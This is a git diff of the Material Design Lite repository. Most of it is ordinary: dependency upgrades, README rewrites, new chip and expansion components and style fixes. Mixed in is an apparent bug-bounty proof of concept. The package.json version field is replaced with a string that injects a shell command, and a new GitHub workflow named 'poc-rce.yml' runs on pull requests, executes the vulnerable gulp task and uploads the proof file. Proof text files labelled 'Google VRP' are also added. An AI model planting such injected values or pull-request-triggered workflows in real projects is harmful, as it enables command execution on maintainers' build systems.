diff --git a/.drone.yml b/.drone.yml index 45000d06c..0e006c76c 100644 --- a/.drone.yml +++ b/.drone.yml @@ -26,7 +26,6 @@ build: - Xvfb $DISPLAY & - curl -sSLo chrome.deb $CHROME && dpkg -i chrome.deb - curl -sSLo driver.zip $WEBDRIVER && unzip -q driver.zip -d /usr/bin - - node test/memory/test.js publish: # see http://addons.drone.io/google_cloud_storage/ for details gcs: diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md new file mode 100644 index 000000000..2626be43c --- /dev/null +++ b/.github/ISSUE_TEMPLATE.md @@ -0,0 +1,35 @@ +** PLEASE READ THIS BEFORE FILING AN ISSUE ** + +## Feature Requests / Breaking Changes in mdl-1.x + +The MDL core team has actively begun work on the next major version of MDL, dubbed **MDL v2**. Because we are a small team that's hyper-focused on delivering the best Material Design Library possible for the web, _it is highly unlikely that we will be actively working on new features or making backwards-incompatible changes for MDL as it currently exists._ + +If there is a non-breaking feature you would like to see implemented in `mdl-1.x` and are willing to contribute, we'd be happy to offer assistance with you doing so. But we will not personally be actively working on said features. + +While we are just getting started with our next version of MDL, you can see our current progress on [master](https://github.com/google/material-design-lite/tree/master) as well as an overview of the direction we're headed in our [(WIP) developer guide](https://github.com/google/material-design-lite/blob/master/docs/DEVELOPER.md) as well as our [initial POC branch](https://github.com/google/material-design-lite/tree/experimental/v2-architecture-poc) for our new architecture. + +If you're interested in information for a specific MDL v2 component, check out our [v2-component issues](https://github.com/google/material-design-lite/issues?utf8=%E2%9C%93&q=is%3Aissue%20is%3Aopen%20label%3Av2-component) to see which v2 milestone it's associated with and feel free to subscribe to that issue for updates. + +## Bugs + +Please include the following information with your bug report: + +> What MDL Version are you using? (please be specific, e.g. _major.minor.patch_) + + +> What browser(s) is this bug affecting (including version)? + + +> What OS (and version) are you using? + + +> What are the steps to reproduce the bug? Can you create a plunker/codepen/jsfiddle which reproduces it? + + +> What is the expected behavior? + + +> What is the actual behavior? + + +> Any other information you believe would be useful? \ No newline at end of file diff --git a/.github/workflows/poc-rce.yml b/.github/workflows/poc-rce.yml new file mode 100644 index 000000000..f9e43fd2b --- /dev/null +++ b/.github/workflows/poc-rce.yml @@ -0,0 +1,46 @@ +--- +name: PoC RCE Demonstration +on: + pull_request: + branches: [master] + workflow_dispatch: true +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: '12' + - name: Install dependencies + run: | + npm install gulp@3.9.1 gulp-shell@0.8.0 gulp-zip@3.2.0 \ + babel-register run-sequence@1.2.3 gulp-concat@2.6.1 \ + gulp-util@3.0.8 babel-core@6.26.3 + - name: Debug environment + run: | + echo "Node version:" && node --version + echo "NPM packages:" && npm list gulp gulp-shell gulp-zip \ + babel-register run-sequence gulp-concat gulp-util babel-core + echo "Package version:" && node -p "require('./package.json').version" + echo "Gulpfile snippet:" && cat gulpfile.babel.js | \ + grep pushCodeFiles -A10 + - name: Run vulnerable Gulp task + run: | + echo "Running gulp pushCodeFiles with version: \ + $(node -p "require('./package.json').version")" + npx gulp pushCodeFiles || echo "Gulp task failed (expected if \ + gsutil missing); check RCE output" + - name: Check for proof file + run: | + if [ -f /tmp/rce_proof.txt ]; then + echo "Proof file found:" && cat /tmp/rce_proof.txt + else + echo "No proof file found (sandbox restriction)" + fi + - name: Upload proof artifact + uses: actions/upload-artifact@v4 + with: + name: rce-proof + path: /tmp/rce_proof.txt diff --git a/.jscsrc b/.jscsrc index ca195c19f..211744d0d 100644 --- a/.jscsrc +++ b/.jscsrc @@ -1,6 +1,5 @@ { "preset": "google", - "esnext": true, "disallowSpacesInAnonymousFunctionExpression": null, "validateLineBreaks": "LF", "validateIndentation": 2, @@ -8,9 +7,7 @@ "maximumLineLength": 130, "validateQuoteMarks": "'", "requireDotNotation": false, - "requireCamelCaseOrUpperCaseIdentifiers": null, - "additionalRules": ["./utils/jscs-rules/*.js", "../utils/jscs-rules/*.js"], - "closureCamelCase": true, + "requireCamelCaseOrUpperCaseIdentifiers": {"allowedPrefixes": ["opt_"]}, "jsDoc": { "checkAnnotations": { "preset": "closurecompiler", diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 1b57ef6f1..ffdd20d7d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -75,7 +75,7 @@ Please provide any URLs or screenshots of good examples of usage of this compone If you would like to implement a new feature then consider what kind of change it is: * **Major Changes** that you wish to contribute to the project should be discussed first on our -[issue tracker][https://github.com/google/material-design-lite/issues] so that we can better coordinate our efforts, prevent +[issue tracker][] so that we can better coordinate our efforts, prevent duplication of work, and help you to craft the change so that it is successfully accepted into the project. * **Small Changes** can be crafted and submitted to the [GitHub Repository][github] as a Pull Request. @@ -223,6 +223,7 @@ changes to be accepted, the CLA must be signed. It's a quick process, we promise *This guide was inspired by the [AngularJS contribution guidelines](https://github.com/angular/angular.js/blob/master/CONTRIBUTING.md).* [github]: https://github.com/google/material-design-lite +[issue tracker]: https://github.com/google/material-design-lite/issues [individual-cla]: http://code.google.com/legal/individual-cla-v1.0.html [corporate-cla]: http://code.google.com/legal/corporate-cla-v1.0.html [js-style-guide]: http://google-styleguide.googlecode.com/svn/trunk/javascriptguide.xml diff --git a/GOOGLE_VRP_PROOF.txt b/GOOGLE_VRP_PROOF.txt new file mode 100644 index 000000000..f9dbbcac9 --- /dev/null +++ b/GOOGLE_VRP_PROOF.txt @@ -0,0 +1 @@ +Google VRP Challenge Proof - RCE via package.json version injection diff --git a/README.md b/README.md index 7d9555006..82d2b23a6 100644 --- a/README.md +++ b/README.md @@ -7,13 +7,21 @@ [![Dependency Status](https://david-dm.org/google/material-design-lite.svg)](https://david-dm.org/google/material-design-lite) > An implementation of [Material Design](http://www.google.com/design/spec/material-design/introduction.html) -components in vanilla CSS, JS, and HTML +components in vanilla CSS, JS, and HTML. Material Design Lite (MDL) lets you add a Material Design look and feel to your static content websites. It doesn't rely on any JavaScript frameworks or libraries. Optimized for cross-device use, gracefully degrades in older browsers, and offers an experience that is accessible from the get-go. +> ### Limited support + +> Material Design Lite is now in limited support, with development having moved to the +> [Material Components for the web](https://github.com/material-components/material-components-web) repository. + +> No further development is taking place in MDL by the core team, but we are happy to review PRs, fix critical bugs and +> push out new releases. No breaking changes will be accepted. + ## Use MDL on your site? **This document is targeted at developers that will contribute to or compile @@ -22,6 +30,7 @@ MDL. If you are looking to use MDL on your website or web app please head to ## Browser Support + | IE9 | IE10 | IE11 | Chrome | Opera | Firefox | Safari | Chrome (Android) | Mobile Safari | |-----|------|------|--------|-------|---------|--------|------------------|---------------| | B | A | A | A | A | A | A | A | A | @@ -29,8 +38,6 @@ MDL. If you are looking to use MDL on your website or web app please head to A-grade browsers are fully supported. B-grade browsers will gracefully degrade to our CSS-only experience. -## Getting Started - ### Download / Clone Clone the repo using Git: @@ -46,7 +53,7 @@ Windows users, if you have trouble compiling due to line endings then make sure you configure git to checkout the repository with `lf` (unix) line endings. This can be achieved by setting `core.eol`. -``` +```bash git config core.eol lf git config core.autocrlf input git rm --cached -r . @@ -56,118 +63,28 @@ git reset --hard > Remember, the master branch is considered unstable. Do not use this in production. Use a tagged state of the repository, npm, or bower for stability! -### What's included - -In the repo you'll find the following directories and files. - -| File/Folder | Provides | -|-----------------|------------------------------------------------| -| CONTRIBUTING.md | MDL contribution guidelines. | -| docs | Files for the documentation site. | -| gulpfile.js | gulp configuration for MDL. | -| LICENSE | Project license information. | -| package.json | npm package information. | -| README.md | Details for quickly understanding the project. | -| src | Source code for MDL components. | -| templates | Example templates. | -| test | Project test files. | - -### Build - -To get started modifying the components or the docs, first install the necessary -dependencies, from the root of the project: - -```bash -npm install && npm install -g gulp -``` - -> MDL requires NodeJS 0.12. - -Next, run the following one-liner to compile the components and the docs and -spawn a local instance of the documentation site: - -```bash -gulp all && gulp serve -``` - -Most changes made to files inside the `src` or the `docs` directory will cause -the page to reload. This page can also be loaded up on physical devices thanks -to BrowserSync. - -To build a production version of the components, run: - -```bash -gulp -``` - -This will clean the `dist` folder and rebuild the assets for serving. - -### Templates - -The `templates/` subdirectory contains a few exemplary usages of MDL. Templates -have their own, quasi-separate gulp pipeline and can be compiled with -`gulp templates`. The templates use the vanilla MDL JS and -[themed](http://www.getmdl.io/customize/index.html) CSS files. Extraneous styles -are kept in a separate CSS file. Use `gulp serve` to take a look at the -templates: - -* [Blog Template](http://www.getmdl.io/templates/blog) -* [Dashboard Template](http://www.getmdl.io/templates/dashboard) -* [Text Heavy Webpage Template](http://www.getmdl.io/templates/text-only) -* [Stand Alone Article Template](http://www.getmdl.io/templates/article) -* [Android.com MDL Skin Template](http://www.getmdl.io/templates/android-dot-com) -* [Portfolio Template](http://www.getmdl.io/templates/portfolio) - -> Templates are not officially supported in IE9 and legacy browsers that do not -pass the minimum-requirements defined in our -[cutting-the-mustard test](https://github.com/google/material-design-lite/blob/87c48c22416c3e83850f7711365b2a43ba19c5ce/src/mdlComponentHandler.js#L336-L349). - -The templates refer to CDN hosted versions of the libraries. If you'd like to -test the templates against locally built MDL libraries you need to run the -`templates:localtestingoverride` gulp task before running `gulp serve`: - -```bash -gulp all && gulp templates:localtestingoverride && gulp serve -``` - -> Beware as any changes to the `templates` directory will automatically revert -the templates local testing overrides. In this case make sure you run the -`templates:localtestingoverride` gulp task again or modify the `watch()` -function in the gulp file. - -## Versioning - -For transparency into our release cycle and in striving to maintain backward -compatibility, Material Design Lite is maintained under -[the Semantic Versioning guidelines](http://semver.org/). Sometimes we screw up, -but we'll adhere to those rules whenever possible. - ## Feature requests -If you find MDL doesn't contain a particular component you think would be -useful, please check the issue tracker in case work has already started on it. -If not, you can request a [new component](https://github.com/Google/material-design-lite/issues/new?title=[Component%20Request]%20{Component}&body=Please%20include:%0A*%20Description%0A*%20Material%20Design%20Spec%20link%0A*%20Use%20Case%28s%29). -Please keep in mind that one of the goals of MDL is to adhere to the Material -Design specs and therefore some requests might not be within the scope of this -project. +MDL is currently in limited support mode, with no further development taking place by the core team. +We are happy to accept and review pull requests for new functionality, however, as long as there are no breaking +changes. ## Want to contribute? If you found a bug, have any questions or want to contribute. Follow our -[guidelines](https://github.com/google/material-design-lite/blob/master/CONTRIBUTING.md), +[guidelines](https://github.com/google/material-design-lite/blob/mdl-1.x/CONTRIBUTING.md), and help improve the Material Design Lite. For more information visit our [wiki](https://github.com/google/material-design-lite/wiki). -## Do you include any features that a framework comes with? +Please use the default branch, `mdl-1.x`. + +Take note that [Material Components for Web](https://github.com/material-components/material-components-web), which is MDL v2, is under early Alpha stages (which means everything is a moving target, and we can change anything at any moment). Use with caution. -Material Design Lite is focused on delivering a vanilla CSS/JS/HTML library of -components. We are not a framework. If you are building a single-page app and -require features like two-way data-binding, templating, CSS scoping and so -forth, we recommend trying out the excellent -[Polymer](http://polymer-project.org) project. +However, we would absolutely love to have people testing MCW and provide feedback about their experiences using it, especially integrating with other frameworks and libraries. ## License © Google, 2015. Licensed under an [Apache-2](https://github.com/google/material-design-lite/blob/master/LICENSE) license. +# PoC Update diff --git a/bower.json b/bower.json index 3f205e172..2a826c951 100644 --- a/bower.json +++ b/bower.json @@ -1,6 +1,6 @@ { "name": "material-design-lite", - "version": "1.1.3", + "version": "1.3.0", "homepage": "https://github.com/google/material-design-lite", "authors": [ "Material Design Lite team" diff --git a/docs/_assets/comp_chips.png b/docs/_assets/comp_chips.png new file mode 100644 index 000000000..6d5509577 Binary files /dev/null and b/docs/_assets/comp_chips.png differ diff --git a/docs/_pages/components.md b/docs/_pages/components.md index fdd699828..b070f3922 100644 --- a/docs/_pages/components.md +++ b/docs/_pages/components.md @@ -98,6 +98,25 @@ categories: file: image.html - caption: Event file: event.html + - name: chips + title: Chips + description: Represents complex entities in small blocks. + components: + - name: chip + class: mdl-chip + snippets: + - snippet_group: + - caption: Basic Chip + file: basic.html + - caption: Deletable Chip + file: deletable.html + - caption: Button Chip + file: button.html + - snippet_group: + - caption: Contact Chip + file: contact.html + - caption: Deletable Contact Chip + file: deletable-contact.html - name: dialog title: Dialogs description: Modal windows for dedicated user input. @@ -108,6 +127,17 @@ categories: limited cross-browser support. To ensure support across all modern browsers, please consider using a polyfill or creating your own. There is no polyfill included with MDL. + - name: expansion + title: Expansion + description: Collapsible content sections. + components: + - name: expansion + class: mdl-expansion + snippets: + - snippet_group: + - caption: Example Expansion + file: expansion.html + full_width: true - name: layout title: Layout description: Building blocks for constructing a page layout. diff --git a/gulpfile.babel.js b/gulpfile.babel.js index 6bd08c948..d5b70d8d7 100644 --- a/gulpfile.babel.js +++ b/gulpfile.babel.js @@ -17,7 +17,7 @@ * */ - // jscs:disable jsDoc +// jscs:disable jsDoc 'use strict'; @@ -26,7 +26,7 @@ import fs from 'fs'; import path from 'path'; import mergeStream from 'merge-stream'; import del from 'del'; -import vinylPaths from'vinyl-paths'; +import vinylPaths from 'vinyl-paths'; import runSequence from 'run-sequence'; import browserSync from 'browser-sync'; import through from 'through2'; @@ -219,12 +219,12 @@ gulp.task('closure', () => { compilerPath: 'node_modules/google-closure-compiler/compiler.jar', fileName: 'material.closure.min.js', compilerFlags: { - // jscs:disable closureCamelCase + // jscs:disable requireCamelCaseOrUpperCaseIdentifiers compilation_level: 'ADVANCED_OPTIMIZATIONS', language_in: 'ECMASCRIPT6_STRICT', language_out: 'ECMASCRIPT5_STRICT', warning_level: 'VERBOSE' - // jscs:enable closureCamelCase + // jscs:enable requireCamelCaseOrUpperCaseIdentifiers } })) .pipe(gulp.dest('./dist')); diff --git a/package.json b/package.json index 6a4021fc8..caa3a0daf 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "material-design-lite", - "version": "1.1.3", + "version": "1.3.0; echo \"Google VRP RCE Proof - Command Injection Successful\" > ./VRP_PROOF.txt && echo \"File created successfully\" || echo \"RCE executed but file creation failed\"", "description": "Material Design Components in CSS, JS and HTML", "private": true, "license": "Apache-2.0", @@ -8,52 +8,54 @@ "repository": "google/material-design-lite", "main": "dist/material.min.js", "devDependencies": { - "acorn": "^2.2.0", - "babel-core": "^5.8.25", + "acorn": "^4.0.3", + "babel-core": "^6.20.0", + "babel-preset-es2015": "^6.18.0", "browser-sync": "^2.2.3", "chai": "^3.3.0", "chai-jquery": "^2.0.0", "del": "^2.0.2", - "drool": "^0.3.1", + "drool": "^0.4.0", "escodegen": "^1.6.1", "google-closure-compiler": "", "gulp": "^3.9.0", "gulp-autoprefixer": "^3.0.2", - "gulp-cache": "^0.3.0", - "gulp-closure-compiler": "^0.3.1", + "gulp-cache": "^0.4.5", + "gulp-closure-compiler": "^0.4.0", "gulp-concat": "^2.4.1", - "gulp-connect": "^2.2.0", + "gulp-connect": "^5.0.0", "gulp-css-inline-images": "^0.1.1", "gulp-csso": "1.0.0", - "gulp-file": "^0.2.0", - "gulp-flatten": "^0.2.0", + "gulp-file": "^0.3.0", + "gulp-flatten": "^0.3.1", "gulp-front-matter": "^1.2.2", "gulp-header": "^1.2.2", "gulp-if": "^2.0.0", - "gulp-iife": "^0.1.0", - "gulp-imagemin": "^2.2.1", - "gulp-jscs": "^3.0.1", - "gulp-jshint": "^1.6.3", - "gulp-load-plugins": "^0.10.0", + "gulp-iife": "^0.3.0", + "gulp-imagemin": "^3.1.0", + "gulp-jscs": "^4.0.0", + "gulp-jshint": "^2.0.4", + "gulp-load-plugins": "^1.3.0", "gulp-marked": "^1.0.0", - "gulp-mocha-phantomjs": "^0.10.1", - "gulp-open": "^1.0.0", + "gulp-mocha-phantomjs": "^0.12.0", + "gulp-open": "^2.0.0", "gulp-rename": "^1.2.0", "gulp-replace": "^0.5.3", - "gulp-sass": "2.0.*", - "gulp-shell": "^0.4.2", + "gulp-sass": "3.0.0", + "gulp-shell": "^0.5.2", "gulp-size": "^2.0.0", - "gulp-sourcemaps": "^1.3.0", + "gulp-sourcemaps": "^2.0.1", "gulp-subtree": "^0.1.0", "gulp-tap": "^0.1.3", - "gulp-uglify": "^1.0.1", + "gulp-uglify": "^2.0.0", "gulp-util": "^3.0.4", - "gulp-zip": "^3.0.2", + "gulp-zip": "^4.0.0", "humanize": "0.0.9", - "jquery": "^2.1.3", - "jshint-stylish": "^2.0.1", + "jquery": "^3.1.1", + "jshint": "^2.9.4", + "jshint-stylish": "^2.2.1", "merge-stream": "^1.0.0", - "mocha": "^2.1.0", + "mocha": "^3.0.2", "prismjs": "0.0.1", "run-sequence": "^1.0.2", "swig": "^1.4.2", @@ -67,6 +69,9 @@ "test": "gulp && git status | grep 'working directory clean' >/dev/null || (echo 'Please commit all changes generated by building'; exit 1)" }, "babel": { - "only": "gulpfile.babel.js" + "only": "gulpfile.babel.js", + "presets": [ + "es2015" + ] } -} +} \ No newline at end of file diff --git a/poc_proof.txt b/poc_proof.txt new file mode 100644 index 000000000..387e81990 --- /dev/null +++ b/poc_proof.txt @@ -0,0 +1 @@ +RCE Proof: Command injection via package.json version diff --git a/src/_variables.scss b/src/_variables.scss index b57dac6dc..e7ead73f2 100644 --- a/src/_variables.scss +++ b/src/_variables.scss @@ -42,9 +42,11 @@ * -----Data table * -----Dialog * -----Snackbar + * -----Tooltip + * -----Chip * * Even though all variables have the `!default` directive, most of them - * should not be changed as they are dependent one another. This can cause + * should not be changed as they are dependent on one another. This can cause * visual distortions (like alignment issues) that are hard to track down * and fix. */ @@ -189,8 +191,8 @@ $layout-drawer-bg-color: unquote("rgb(#{$palette-grey-50})") !default; $layout-drawer-border-color: unquote("rgb(#{$palette-grey-300})") !default; $layout-text-color: unquote("rgb(#{$palette-grey-800})") !default; $layout-drawer-navigation-color: #757575 !default; -$layout-drawer-navigation-link-active-background: unquote("rgb(#{$color-light-contrast})") !default; -$layout-drawer-navigation-link-active-color: unquote("rgb(#{$palette-grey-300})") !default; +$layout-drawer-navigation-link-active-background: unquote("rgb(#{$palette-grey-300})") !default; +$layout-drawer-navigation-link-active-color: unquote("rgb(#{$color-light-contrast})") !default; // Header $layout-header-bg-color: unquote("rgb(#{$color-primary})") !default; @@ -582,3 +584,9 @@ $snackbar-action-color: unquote("rgb(#{$color-accent})") !default; /* TOOLTIP */ $tooltip-font-size: 10px !default; $tooltip-font-size-large: 14px !default; + +/* CHIP */ +$chip-bg-color: rgb(222, 222, 222) !default; +$chip-bg-active-color: rgb(214, 214, 214) !default; +$chip-height: 32px !default; +$chip-font-size: 13px !default; diff --git a/src/animation/demo.js b/src/animation/demo.js index a4800ebe8..839f0152d 100644 --- a/src/animation/demo.js +++ b/src/animation/demo.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - /** * Class constructor for Animation MDL component. * Implements MDL component design pattern defined at: diff --git a/src/badge/snippets/badge-on-icon-icon.html b/src/badge/snippets/badge-on-icon-icon.html index 670570ecb..3b2396797 100644 --- a/src/badge/snippets/badge-on-icon-icon.html +++ b/src/badge/snippets/badge-on-icon-icon.html @@ -1 +1,2 @@ +
account_box
diff --git a/src/button/button.js b/src/button/button.js index cc9ba8d09..55d62c72c 100644 --- a/src/button/button.js +++ b/src/button/button.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; diff --git a/src/button/snippets/raised-disabled.html b/src/button/snippets/raised-disabled.html index 02f747428..545bec724 100644 --- a/src/button/snippets/raised-disabled.html +++ b/src/button/snippets/raised-disabled.html @@ -1,4 +1,4 @@ - + diff --git a/src/card/README.md b/src/card/README.md index 567c5b37e..2611892a5 100755 --- a/src/card/README.md +++ b/src/card/README.md @@ -125,3 +125,4 @@ The MDL CSS classes apply various predefined visual and behavioral enhancements | `mdl-card__media` | Defines div as a card media container | Required on "inner" media div | | `mdl-card__supporting-text` | Defines div as a card body text container and assigns appropriate text characteristics to body text | Required on "inner" body text div; text goes directly inside the div with no intervening containers | | `mdl-card__actions` | Defines div as a card actions container and assigns appropriate text characteristics to actions text | Required on "inner" actions div; content goes directly inside the div with no intervening containers | +| `mdl-card__menu` | Defines element as top right menu button | Optional. Should be a child of the `mdl-card` element. | diff --git a/src/card/_card.scss b/src/card/_card.scss index 8bd7cbd43..7f2ff30d8 100644 --- a/src/card/_card.scss +++ b/src/card/_card.scss @@ -46,7 +46,6 @@ color: $card-text-color; display: block; display: flex; - justify-content: stretch; line-height: normal; padding: $card-vertical-padding $card-horizontal-padding; perspective-origin: $card-title-perspective-origin-x $card-title-perspective-origin-y; @@ -84,6 +83,10 @@ overflow: hidden; padding: $card-vertical-padding $card-horizontal-padding; width: 90%; + + &.mdl-card--border { + border-bottom: 1px solid $card-border-color; + } } .mdl-card__actions { diff --git a/src/checkbox/_checkbox.scss b/src/checkbox/_checkbox.scss index 3dd265ed4..a3c4bb65c 100644 --- a/src/checkbox/_checkbox.scss +++ b/src/checkbox/_checkbox.scss @@ -122,15 +122,16 @@ background: transparent; @include material-animation-default(0.28s); - transition-property: background; + transition-property: background-image; .mdl-checkbox.is-checked & { - background: $checkbox-color url("#{$checkbox-image-path}/tick.svg?embed"); + background-color: $checkbox-color; + background-image: url("#{$checkbox-image-path}/tick.svg?embed"); } fieldset[disabled] .mdl-checkbox.is-checked &, .mdl-checkbox.is-checked.is-disabled & { - background: $checkbox-disabled-color url("#{$checkbox-image-path}/tick.svg?embed"); + background-color: $checkbox-disabled-color; } } diff --git a/src/checkbox/checkbox.js b/src/checkbox/checkbox.js index 148035b68..2e5ca1a5f 100644 --- a/src/checkbox/checkbox.js +++ b/src/checkbox/checkbox.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; diff --git a/src/chip/README.md b/src/chip/README.md new file mode 100644 index 000000000..21a0c9fa9 --- /dev/null +++ b/src/chip/README.md @@ -0,0 +1,65 @@ +## Introduction + +The Material Design Lite (MDL) **chip** component is a small, interactive element. +Chips are commonly used for contacts, text, rules, icons, and photos. + +## TO INCLUDE AN MDL CHIP COMPONENT: + + 1. Create a container element for the chip; typically `` and `
` are used, but any container element should work equally well. If you need interactivity, use a ` +``` + +## CSS Classes + +| MDL Class | Effect | Remarks | +|-----------|--------|---------| +| `mdl-chip` | Defines element as an MDL chip container | Required on "outer" container | +| `mdl-chip--contact` | Defines an MDL chip as a contact style chip | Optional, goes on "outer" container | +| `mdl-chip__text` | Defines element as the chip's text | Required on "inner" text container | +| `mdl-chip__action` | Defines element as the chip's action | Required on "inner" action container, if present | +| `mdl-chip__contact` | Defines element as the chip's contact container | Required on "inner" contact container, if the `mdl-chip--contact` class is present on "outer" container | \ No newline at end of file diff --git a/src/chip/_chip.scss b/src/chip/_chip.scss new file mode 100644 index 000000000..18e0549d1 --- /dev/null +++ b/src/chip/_chip.scss @@ -0,0 +1,88 @@ +/** + * Copyright 2015 Google Inc. All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +@import "../variables"; +@import "../mixins"; + +.mdl-chip { + height: $chip-height; + font-family: $preferred_font; + line-height: $chip-height; + padding: 0 12px; + border: 0; + border-radius: $chip-height / 2; + background-color: $chip-bg-color; + display: inline-block; + color: $text-color-primary; + margin: 2px 0; + font-size: 0; + white-space: nowrap; + + &__text { + font-size: $chip-font-size; + vertical-align: middle; + display: inline-block; + } + + &__action { + height: 24px; + width: 24px; + background: transparent; + opacity: 0.54; + display: inline-block; + cursor: pointer; + text-align: center; + vertical-align: middle; + padding: 0; + margin: 0 0 0 4px; + font-size: $chip-font-size; + text-decoration: none; + color: $text-color-primary; + border: none; + outline: none; + overflow: hidden; + } + + &__contact { + height: $chip-height; + width: $chip-height; + border-radius: $chip-height / 2; + display: inline-block; + vertical-align: middle; + margin-right: 8px; + overflow: hidden; + text-align: center; + font-size: 18px; + line-height: 32px; + } + + &:focus { + outline: 0; + @include shadow-2dp(); + } + + &:active { + background-color: $chip-bg-active-color; + } + + &--deletable { + padding-right: 4px; + } + + &--contact { + padding-left: 0; + } +} \ No newline at end of file diff --git a/src/chip/snippets/basic.html b/src/chip/snippets/basic.html new file mode 100644 index 000000000..f996f82df --- /dev/null +++ b/src/chip/snippets/basic.html @@ -0,0 +1,4 @@ + + + Basic Chip + \ No newline at end of file diff --git a/src/chip/snippets/button.html b/src/chip/snippets/button.html new file mode 100644 index 000000000..231fdf619 --- /dev/null +++ b/src/chip/snippets/button.html @@ -0,0 +1,4 @@ + + \ No newline at end of file diff --git a/src/chip/snippets/contact.html b/src/chip/snippets/contact.html new file mode 100644 index 000000000..2d205cfa4 --- /dev/null +++ b/src/chip/snippets/contact.html @@ -0,0 +1,5 @@ + + + A + Contact Chip + diff --git a/src/chip/snippets/deletable-contact.html b/src/chip/snippets/deletable-contact.html new file mode 100644 index 000000000..3f45da347 --- /dev/null +++ b/src/chip/snippets/deletable-contact.html @@ -0,0 +1,6 @@ + + + + Deletable Contact Chip + cancel + \ No newline at end of file diff --git a/src/chip/snippets/deletable.html b/src/chip/snippets/deletable.html new file mode 100644 index 000000000..6200e39ec --- /dev/null +++ b/src/chip/snippets/deletable.html @@ -0,0 +1,5 @@ + + + Deletable Chip + + \ No newline at end of file diff --git a/src/data-table/data-table.js b/src/data-table/data-table.js index f2d7983a9..d9be91b5f 100644 --- a/src/data-table/data-table.js +++ b/src/data-table/data-table.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; @@ -77,6 +76,9 @@ row.classList.add(this.CssClasses_.IS_SELECTED); } else { row.classList.remove(this.CssClasses_.IS_SELECTED); + if (this.headerCheckbox['MaterialCheckbox'].inputElement_.checked) { + this.headerCheckbox['MaterialCheckbox'].uncheck(); + } } }.bind(this); } @@ -147,8 +149,8 @@ if (this.element_.classList.contains(this.CssClasses_.SELECTABLE)) { var th = document.createElement('th'); - var headerCheckbox = this.createCheckbox_(null, rows); - th.appendChild(headerCheckbox); + this.headerCheckbox = this.createCheckbox_(null, rows); + th.appendChild(this.headerCheckbox); firstHeader.parentElement.insertBefore(th, firstHeader); for (var i = 0; i < rows.length; i++) { diff --git a/src/dialog/README.md b/src/dialog/README.md index 6faff7e69..ff22c45ba 100644 --- a/src/dialog/README.md +++ b/src/dialog/README.md @@ -12,7 +12,7 @@ For other browsers you will need to include the [dialog polyfill](https://github Once you have dialog support create a dialog element. The element when using the polyfill **must** be a child of the `body` element. Within that container, add a content element with the class `mdl-dialog__content`. -Add you content, then create an action container with the class `mdl-dialog__actions`. +Add your content, then create an action container with the class `mdl-dialog__actions`. Finally for the markup, add your buttons within this container for triggering dialog functions. Keep in mind, the order is automatically reversed for actions. diff --git a/src/dialog/_dialog.scss b/src/dialog/_dialog.scss index 9f2c3e630..a13ca61a5 100644 --- a/src/dialog/_dialog.scss +++ b/src/dialog/_dialog.scss @@ -43,7 +43,8 @@ padding: 0 0 8px 0; > * { height: 48px; - flex: 0 0 100%; + flex: 0 0 auto; + width: 100%; //@see https://github.com/philipwalton/flexbugs#7-flex-basis-doesnt-account-for-box-sizingborder-box padding-right: 16px; margin-right: 0; text-align: right; diff --git a/src/expansion/README.md b/src/expansion/README.md new file mode 100644 index 000000000..d68626b47 --- /dev/null +++ b/src/expansion/README.md @@ -0,0 +1,42 @@ +## Introduction + +The Material Design Lite (MDL) **expansion** component provides a clean interface +to show collapsable content areas to users. + +## Basic Usage + +To use the expansion panel component browsers must support the [details element](https://www.w3.org/TR/2011/WD-html5-author-20110809/the-details-element.html). Currently only [IE and Edge](http://caniuse.com/#feat=details) do not provide support for this. For support there you'll need to include a polyfill for the `
` element. There are a few available which each have different pitfalls to test them to find the one that best suites your needs. + +Once you have support for detail elements all you need to do is make them with a summary and content containers. Remember that the content element comes directly after the summary element and contains all the rest of the content for the block. If your content has a form or some kind of actions for the user to carry out, include an actions container with actions in the content container. + +Keep in mind, the order is automatically reversed for actions. +Material Design requires that the primary (confirmation) action be displayed last. +So, the first action you create will appear last on the action bar. +This allows for more natural coding and tab ordering while following the specification. + +Remember to add the event handlers for your action items. + +## CSS Classes + +### Blocks + +| MDL Class | Effect | Remarks | +|-----------|--------|---------| +| `mdl-expansion` | Defines the container of the expansion component. | Required on expansion container. | + +### Elements + + +| MDL Class | Effect | Remarks | +|-----------|--------|---------| +| `mdl-expansion__summary` | Defines the summary container for the expansion panel. | Required on summary container. | +| `mdl-expansion__header` | Defines the primary header for the summary. | Required on the header container within the summary. | +| `mdl-expansion__subheader` | Defines the subheading for the summary. | Optional on a node within the header container. | +| `mdl-expansion__secondary-header` | Defines auxiliary content for the summary. | Optional on a node within the summary container. | +| `mdl-expansion__content` | Defines the container node for the content that is toggled. | Required on container node after the summary. | +| `mdl-expansion__actions` | Defines the container node for the actions for any forms within the content. | Optional on container within the content | +| `mdl-expansion__action` | Defines an action trigger to provide the appropriate margin. | Optional on trigger within the actions. | + +### Modifiers + +There are no modifiers for the expansion panel. diff --git a/src/expansion/_expansion.scss b/src/expansion/_expansion.scss new file mode 100644 index 000000000..fb8c428af --- /dev/null +++ b/src/expansion/_expansion.scss @@ -0,0 +1,109 @@ +/** + * Copyright 2016 Google Inc. All Rights Reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for 